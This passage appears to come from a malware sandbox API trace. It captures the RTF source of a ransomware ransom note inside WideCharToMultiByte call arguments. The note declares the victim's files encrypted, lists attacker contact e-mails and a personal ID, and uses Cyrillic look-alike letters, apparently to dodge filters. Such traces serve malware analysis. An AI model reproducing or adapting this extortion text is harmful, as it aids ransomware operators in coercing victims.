nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 